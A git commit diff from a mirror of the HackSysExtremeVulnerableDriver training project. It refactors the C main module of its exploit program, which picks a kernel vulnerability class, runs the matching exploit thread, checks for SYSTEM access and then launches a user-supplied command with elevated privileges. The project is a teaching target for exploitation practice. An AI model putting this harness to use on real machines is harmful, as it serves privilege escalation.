mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
Refactored Exploit & Closing #9
This commit is contained in:
hacksysteam
@@ -45,20 +45,13 @@ Abstract:
|
||||
This module implements the main routines to invoke
|
||||
exploit for respective vulnerabilities.
|
||||
|
||||
TODO:
|
||||
1. This exploit has only been designed for Windows 7 x86,
|
||||
add support for x64.
|
||||
2. Port the exploit to work on Windows 8.1/10, I know Null
|
||||
Pointer Deference bug will be eliminated.
|
||||
3. Test on multiple systems to determine reliability.
|
||||
|
||||
--*/
|
||||
|
||||
#include "HackSysEVDExploit.h"
|
||||
|
||||
CHAR *argv0;
|
||||
|
||||
static VOID ShowUsage(PTCHAR argv0) {
|
||||
static VOID ShowUsage(PTCHAR Process) {
|
||||
DEBUG_ERROR(" \n"
|
||||
" Usage: %s [option] -c [process to launch] \n"
|
||||
" \n"
|
||||
@@ -71,20 +64,21 @@ static VOID ShowUsage(PTCHAR argv0) {
|
||||
" -t : Type Confusion \n"
|
||||
" -i : Integer Overflow \n"
|
||||
" -g : Stack Overflow GS \n"
|
||||
" -v : Uninitialized Variable \n"
|
||||
" -n : Null Pointer Dereference \n"
|
||||
" -a : Arbitrary Memory Overwrite \n"
|
||||
" \n", argv0, argv0);
|
||||
" -h : Uninitialized Heap Variable \n"
|
||||
" -v : Uninitialized Stack Variable\n"
|
||||
" \n", Process, Process);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) {
|
||||
VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread) {
|
||||
HANDLE hThread = NULL;
|
||||
DWORD threadTimeout = 0x50000;
|
||||
DWORD ThreadTimeout = 0x50000;
|
||||
|
||||
// Create a new thread
|
||||
DEBUG_MESSAGE("\t[+] Creating The Exploit Thread\n");
|
||||
hThread = CreateThread(NULL, 0, lpExploitHandlerThread, NULL, 0, 0);
|
||||
hThread = CreateThread(NULL, 0, ExploitHandlerThread, NULL, 0, 0);
|
||||
|
||||
if (!hThread) {
|
||||
DEBUG_ERROR("\t\t[-] Failed To Create Exploit Thread: 0x%X\n", GetLastError());
|
||||
@@ -94,60 +88,60 @@ VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) {
|
||||
DEBUG_INFO("\t\t[+] Exploit Thread Handle: 0x%X\n", hThread);
|
||||
}
|
||||
|
||||
if (WaitForSingleObject(hThread, threadTimeout)) {
|
||||
if (WaitForSingleObject(hThread, ThreadTimeout)) {
|
||||
// Terminate the thread
|
||||
TerminateThread(hThread, EXIT_FAILURE);
|
||||
DEBUG_INFO("\t\t[+] Terminated Exploit Thread: 0x%X\n", hThread);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IsProcessHavingHigherPrivilege(LPCSTR processToOpen) {
|
||||
DWORD processID = 0;
|
||||
BOOL IsProcessHavingHigherPrivilege(LPCSTR TargetProcess) {
|
||||
DWORD ProcessID = 0;
|
||||
HANDLE hProcess = NULL;
|
||||
BOOL isHighPrivileged = FALSE;
|
||||
BOOL IsHighPrivileged = FALSE;
|
||||
|
||||
DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", processToOpen);
|
||||
DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", TargetProcess);
|
||||
|
||||
processID = GetProcessID(processToOpen);
|
||||
ProcessID = GetProcessID(TargetProcess);
|
||||
|
||||
if (!processID) {
|
||||
DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", processToOpen);
|
||||
if (!ProcessID) {
|
||||
DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", TargetProcess);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
else {
|
||||
DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", processToOpen, processID);
|
||||
DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", TargetProcess, ProcessID);
|
||||
}
|
||||
|
||||
DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", processToOpen, processID);
|
||||
DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", TargetProcess);
|
||||
|
||||
// Open the process to check the privilege level, if we are able
|
||||
// to open any SYSTEM process, this means we have successfully
|
||||
// elevated current process privileges
|
||||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
|
||||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
|
||||
|
||||
if (!hProcess) {
|
||||
DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", processToOpen, GetLastError());
|
||||
DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", TargetProcess, GetLastError());
|
||||
}
|
||||
else {
|
||||
DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", processToOpen, hProcess);
|
||||
isHighPrivileged = TRUE;
|
||||
DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", TargetProcess, hProcess);
|
||||
IsHighPrivileged = TRUE;
|
||||
}
|
||||
|
||||
return isHighPrivileged;
|
||||
return IsHighPrivileged;
|
||||
}
|
||||
|
||||
VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) {
|
||||
DOUBLE elapsedTime = 0;
|
||||
TIME startTime, finishTime;
|
||||
STARTUPINFO startupInfo = {0};
|
||||
PROCESS_INFORMATION processInformation = {0};
|
||||
VULNERABILITY_TYPE vulnerabilityType = pExploitVulnerability->VulnerabilityType;
|
||||
VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability) {
|
||||
DOUBLE ElapsedTime = 0;
|
||||
TIME StartTime, FinishTime;
|
||||
STARTUPINFO StartupInfo = {0};
|
||||
PROCESS_INFORMATION ProcessInformation = {0};
|
||||
VULNERABILITY_TYPE VulnerabilityType = ExploitVulnerability->VulnerabilityType;
|
||||
|
||||
// Log the start time
|
||||
startTime = time(NULL);
|
||||
StartTime = time(NULL);
|
||||
|
||||
// Determine type of vulnerability to exploit
|
||||
switch (vulnerabilityType) {
|
||||
switch (VulnerabilityType) {
|
||||
case PoolOverflow:
|
||||
DEBUG_MESSAGE("[+] Starting Pool Overflow Exploitation\n");
|
||||
LaunchExploitThread(&PoolOverflowThread);
|
||||
@@ -183,10 +177,15 @@ VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) {
|
||||
LaunchExploitThread(&ArbitraryOverwriteThread);
|
||||
DEBUG_MESSAGE("[+] Completed Arbitrary Memory Overwrite Exploitation\n");
|
||||
break;
|
||||
case UninitializedVariable:
|
||||
DEBUG_MESSAGE("[+] Starting Uninitialized Variable Exploitation\n");
|
||||
LaunchExploitThread(&UninitializedVariableThread);
|
||||
DEBUG_MESSAGE("[+] Completed Uninitialized Variable Exploitation\n");
|
||||
case UninitializedHeapVariable:
|
||||
DEBUG_MESSAGE("[+] Starting Uninitialized Heap Variable Exploitation\n");
|
||||
LaunchExploitThread(&UninitializedHeapVariableThread);
|
||||
DEBUG_MESSAGE("[+] Completed Uninitialized Heap Variable Exploitation\n");
|
||||
break;
|
||||
case UninitializedStackVariable:
|
||||
DEBUG_MESSAGE("[+] Starting Uninitialized Stack Variable Exploitation\n");
|
||||
LaunchExploitThread(&UninitializedStackVariableThread);
|
||||
DEBUG_MESSAGE("[+] Completed Uninitialized Stack Variable Exploitation\n");
|
||||
break;
|
||||
case NullPointerDereference:
|
||||
DEBUG_MESSAGE("[+] Starting Null Pointer Dereference Exploitation\n");
|
||||
@@ -206,42 +205,42 @@ VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) {
|
||||
DEBUG_MESSAGE("\t[+] Successfully Elevated Current Process Privileges\n");
|
||||
}
|
||||
|
||||
startupInfo.wShowWindow = SW_SHOW;
|
||||
startupInfo.cb = sizeof(STARTUPINFO);
|
||||
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
StartupInfo.wShowWindow = SW_SHOW;
|
||||
StartupInfo.cb = sizeof(STARTUPINFO);
|
||||
StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
|
||||
// Log the finish time
|
||||
finishTime = time(NULL);
|
||||
FinishTime = time(NULL);
|
||||
|
||||
// Calculate the elapsed time
|
||||
elapsedTime = difftime(finishTime, startTime);
|
||||
ElapsedTime = difftime(FinishTime, StartTime);
|
||||
|
||||
DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", elapsedTime);
|
||||
DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", ElapsedTime);
|
||||
|
||||
if (!CreateProcess(NULL,
|
||||
pExploitVulnerability->Command,
|
||||
ExploitVulnerability->Command,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
CREATE_NEW_CONSOLE,
|
||||
NULL,
|
||||
NULL,
|
||||
&startupInfo,
|
||||
&processInformation)) {
|
||||
&StartupInfo,
|
||||
&ProcessInformation)) {
|
||||
DEBUG_ERROR("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
WaitForSingleObject(processInformation.hProcess, INFINITE);
|
||||
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
|
||||
|
||||
// Close the open handles
|
||||
CloseHandle(processInformation.hThread);
|
||||
CloseHandle(processInformation.hProcess);
|
||||
CloseHandle(ProcessInformation.hThread);
|
||||
CloseHandle(ProcessInformation.hProcess);
|
||||
}
|
||||
|
||||
|
||||
INT main(UINT argc, PTCHAR argv[]) {
|
||||
CONST PTCHAR banner =
|
||||
CONST PTCHAR Banner =
|
||||
"\t\t \t\n"
|
||||
"\t\t ## ## ######## ## ## ######## \t\n"
|
||||
"\t\t ## ## ## ## ## ## ## \t\n"
|
||||
@@ -256,14 +255,14 @@ INT main(UINT argc, PTCHAR argv[]) {
|
||||
"\t\t ashfaq[at]payatu[dot]com \t\n"
|
||||
"\t\t \t\n";
|
||||
|
||||
PTCHAR commandToExecute = NULL;
|
||||
EXPLOIT_VULNERABILITY exploitVulnerability;
|
||||
PTCHAR CommandToExecute = NULL;
|
||||
EXPLOIT_VULNERABILITY ExploitVulnerability;
|
||||
|
||||
ClearScreen();
|
||||
CenterConsoleScreen();
|
||||
|
||||
// Print the banner
|
||||
DEBUG_SUCCESS(banner);
|
||||
DEBUG_SUCCESS(Banner);
|
||||
|
||||
if (argc < 3) {
|
||||
ShowUsage(argv[0]);
|
||||
@@ -272,41 +271,44 @@ INT main(UINT argc, PTCHAR argv[]) {
|
||||
// Parse the command line arguments
|
||||
ARGBEGIN {
|
||||
case 'p':
|
||||
exploitVulnerability.VulnerabilityType = PoolOverflow;
|
||||
ExploitVulnerability.VulnerabilityType = PoolOverflow;
|
||||
break;
|
||||
case 'u':
|
||||
exploitVulnerability.VulnerabilityType = UseAfterFree;
|
||||
ExploitVulnerability.VulnerabilityType = UseAfterFree;
|
||||
break;
|
||||
case 't':
|
||||
exploitVulnerability.VulnerabilityType = TypeConfusion;
|
||||
ExploitVulnerability.VulnerabilityType = TypeConfusion;
|
||||
break;
|
||||
case 's':
|
||||
exploitVulnerability.VulnerabilityType = StackOverflow;
|
||||
ExploitVulnerability.VulnerabilityType = StackOverflow;
|
||||
break;
|
||||
case 'i':
|
||||
exploitVulnerability.VulnerabilityType = IntegerOverflow;
|
||||
ExploitVulnerability.VulnerabilityType = IntegerOverflow;
|
||||
break;
|
||||
case 'g':
|
||||
exploitVulnerability.VulnerabilityType = StackOverflowGS;
|
||||
ExploitVulnerability.VulnerabilityType = StackOverflowGS;
|
||||
break;
|
||||
case 'a':
|
||||
exploitVulnerability.VulnerabilityType = ArbitraryOverwrite;
|
||||
ExploitVulnerability.VulnerabilityType = ArbitraryOverwrite;
|
||||
break;
|
||||
case 'h':
|
||||
ExploitVulnerability.VulnerabilityType = UninitializedHeapVariable;
|
||||
break;
|
||||
case 'v':
|
||||
exploitVulnerability.VulnerabilityType = UninitializedVariable;
|
||||
ExploitVulnerability.VulnerabilityType = UninitializedStackVariable;
|
||||
break;
|
||||
case 'n':
|
||||
exploitVulnerability.VulnerabilityType = NullPointerDereference;
|
||||
ExploitVulnerability.VulnerabilityType = NullPointerDereference;
|
||||
break;
|
||||
case 'c':
|
||||
exploitVulnerability.Command = EARGF(ShowUsage(argv[0]));
|
||||
ExploitVulnerability.Command = EARGF(ShowUsage(argv[0]));
|
||||
break;
|
||||
default:
|
||||
ShowUsage(argv[0]);
|
||||
} ARGEND;
|
||||
|
||||
// Start the exploitation
|
||||
Exploit(&exploitVulnerability);
|
||||
Exploit(&ExploitVulnerability);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user